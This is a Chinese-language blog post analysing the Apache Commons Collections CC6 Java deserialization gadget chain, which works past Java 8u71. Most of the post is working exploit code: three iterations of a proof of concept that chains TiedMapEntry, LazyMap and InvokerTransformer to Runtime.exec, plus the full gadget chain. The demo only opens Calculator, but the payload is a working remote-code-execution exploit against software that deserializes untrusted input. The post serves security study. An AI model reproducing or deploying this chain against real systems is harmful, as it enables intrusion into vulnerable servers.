MENU

Catalog

    Common-Collections (cc6)

    September 2, 2022 • Read: 467 • Code auditing

    前言
    上一篇我们详细分析了CommonsCollections1这个利用链和其中的LazyMap原理
    但是到了Java 8u71以后,这个利用链不能再利用了,因为它的AnnotationInvocationHandler#readObject有了变化
    截屏2022-09-04 12.09.16.png

    然后导致这条链子的产生,它现在的参数已经不可靠控了
    所有这个类在cc6中就被丢弃了,所以就需要一条不受jdk版本限制的一条链
    其实最重要的点就在于没有其他调用LazyMap#get的地方,然后org.apache.commons.collections.keyvalue.TiedMapEntry这个类可以被利用
    我们来看看这个类,他传入的是我们的map类和object的对象
    截屏2022-09-04 16.08.03.png

    在这个地方可以走到我们之前lazyMap的get方法
    截屏2022-09-04 16.15.21.png

    然后在它的hashCode里有对getValue方法的调用
    截屏2022-09-04 16.18.54.png

    我们又会想到URLDNS中HashMap对hashCode方法对调用,链子就清晰了
    URLDNS分析可以参考:http://blog.m1kael.cn/index.php/archives/449/
    初始poc:

    package org.example;
    
    
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    
    import java.io.*;
    import java.lang.reflect.InvocationTargetException;
    import java.util.HashMap;
    import java.util.Map;
    
    
    
    public class Cc1Test {
        public static void main(String[] args) throws ClassNotFoundException, IOException {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            HashMap<Object, Object> hashMap = new HashMap<>();
            Map<Object, Object> decorate = LazyMap.decorate(hashMap, chainedTransformer);
            TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "123");
            HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
            objectObjectHashMap.put(tiedMapEntry,"456");
            Serializable(objectObjectHashMap,"test.bin");
            Unserializable("test.bin");
        }
        public static void Serializable(Object object,String filename) throws IOException {
            OutputStream out = new FileOutputStream(filename);
            ObjectOutputStream objOut = new ObjectOutputStream(out);
            objOut.writeObject(object);
            objOut.close();
        }
        public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
            InputStream in = new FileInputStream(filename);
            ObjectInputStream objIn = new ObjectInputStream(in);
            Object obj = objIn.readObject();
            return obj;
        }
    
    
    }
    

    但是我们知道,URLDNS中在序列化的时候的put方法也会触发hashCode
    所有我们需要把put方法这里给防止一下,回想一下之前的URLDNS的链子,也是从后续想调用hashCode类的地方入手
    截屏2022-09-04 18.07.21.png

    但是TiedMapEntry这个类的hashCode并不像URLDNS中有可以规避方法调用的地方
    所有只能从之前开始考虑,考虑让他在put的时候不调用我们的transform,然后再反射替换掉
    入手点就是lazyMap的factory变量
    截屏2022-09-04 18.11.19.png

    修改后的poc

    package org.example;
    
    
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.util.HashMap;
    import java.util.Map;
    
    
    
    public class Cc1Test {
        public static void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            HashMap<Object, Object> hashMap = new HashMap<>();
            Map<Object, Object> decorate = LazyMap.decorate(hashMap, new ChainedTransformer(new Transformer[]{}));
            TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "123");
            HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
            objectObjectHashMap.put(tiedMapEntry,"456");
    
            Class<? extends Map> aClass = decorate.getClass();
            Field factory = aClass.getDeclaredField("factory");
            factory.setAccessible(true);
            factory.set(decorate,chainedTransformer);
            Serializable(objectObjectHashMap,"test.bin");
            Unserializable("test.bin");
        }
        public static void Serializable(Object object,String filename) throws IOException {
            OutputStream out = new FileOutputStream(filename);
            ObjectOutputStream objOut = new ObjectOutputStream(out);
            objOut.writeObject(object);
            objOut.close();
        }
        public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
            InputStream in = new FileInputStream(filename);
            ObjectInputStream objIn = new ObjectInputStream(in);
            Object obj = objIn.readObject();
            return obj;
        }
    
    
    }

    但是我们会发现序列化和反序列化都不会触发我们rce了,所以debug找找原因
    截屏2022-09-04 18.28.36.png

    发现在反序列化的时候我们key已经是第一次赋值的123了
    之前在URLDNS的时候我们就知道这个地方是查询已经存在的key
    所以我们需要在序列化之前删除掉这个key才能保证进入链子
    最终poc

    package org.example;
    
    
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.util.HashMap;
    import java.util.Map;
    
    
    
    public class Cc1Test {
        public static void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            HashMap<Object, Object> hashMap = new HashMap<>();
            Map<Object, Object> decorate = LazyMap.decorate(hashMap, new ChainedTransformer(new Transformer[]{}));
            TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "123");
            HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
            objectObjectHashMap.put(tiedMapEntry,"456");
    
            Class<? extends Map> aClass = decorate.getClass();
            Field factory = aClass.getDeclaredField("factory");
            factory.setAccessible(true);
            factory.set(decorate,chainedTransformer);
            decorate.remove("123");
    
            Serializable(objectObjectHashMap,"test.bin");
            Unserializable("test.bin");
        }
        public static void Serializable(Object object,String filename) throws IOException {
            OutputStream out = new FileOutputStream(filename);
            ObjectOutputStream objOut = new ObjectOutputStream(out);
            objOut.writeObject(object);
            objOut.close();
        }
        public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
            InputStream in = new FileInputStream(filename);
            ObjectInputStream objIn = new ObjectInputStream(in);
            Object obj = objIn.readObject();
            return obj;
        }
    
    
    }

    测试
    截屏2022-09-04 18.33.22.png

    最终调用链也很简单

    Gadget chain:
            java.io.ObjectInputStream.readObject()
                java.util.HashSet.readObject()
                    java.util.HashMap.put()
                    java.util.HashMap.hash()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                            org.apache.commons.collections.map.LazyMap.get()
                                org.apache.commons.collections.functors.ChainedTransformer.transform()
                                org.apache.commons.collections.functors.InvokerTransformer.transform()
                                java.lang.reflect.Method.invoke()
                                    java.lang.Runtime.exec()

    Ysoserial同理

    Last Modified: September 4, 2022
    Archives Tip
    QR Code for this page
    Tipping QR Code